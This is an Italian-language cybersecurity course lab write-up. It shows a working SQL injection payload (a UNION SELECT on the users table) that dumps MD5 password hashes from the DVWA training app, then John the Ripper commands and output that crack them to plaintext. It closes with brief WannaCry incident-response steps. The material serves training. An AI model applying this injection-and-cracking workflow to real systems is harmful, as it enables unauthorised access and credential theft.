

# W14D1 - Password cracking e malware

Sotto si potrà vedere da SQL Injection - DVWA le credenziali degli users grazie alla query 3' UNION SELECT user, password FROM users#

User ID:

ID: 3' UNION SELECT user, password FROM users#  
First name: Hack  
Surname: Me

ID: 3' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 3' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 3' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 3' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 3' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

le credenziali le scriviamo su un file di testo come in figura sotto

```
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
~
~
~
~
~
~
```

per poi craccarle con John the Ripper,

con il comando `john --incremental --format=raw-md5 file_password.txt`, come nella figura sotto, si potrà vedere che ci da come risultato le password craccate con le rispettive username

```
(kali㉿kali)-[~]
└─$ john --incremental --format=raw-md5 Desktop/password.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
abc123          (gordonb)
charley         (1337)
password       (admin)
letmein        (pablo)
4g 0:00:00:01 DONE (2025-10-13 15:00) 2.222g/s 1418Kp/s 1418Kc/s 1665KC/s letero1..letmish
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali㉿kali)-[~]
└─$ john --show --format=raw-md5 Desktop/password.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
```

con il comando `john --show --format=raw-md5 file_password.txt` ci mostrerà il file delle credenziali, come in figura all'inizio, ma con le password craccate.

`--format=raw-md5` con questo comando chiediamo il formato da craccare  
`--incremental` è il metodo del craccaggio  
`--show` per mostrare il file craccato

### **FACOLTATIVO:**

se in un azienda hanno un computer infettato, in questo caso da WannaCry, come prima lo disconnetterei dalla rete e lo isolerei. Infine lo segnalerei al responsabile IT e al team.

Se possibile farei un backup ma offline per almeno recuperare alcuni dati.

per rimettere operativa la macchina farei una formattazione e un deployment pulito, come ultima cosa lancierei gli ultimi aggiornamenti per che sia supportato.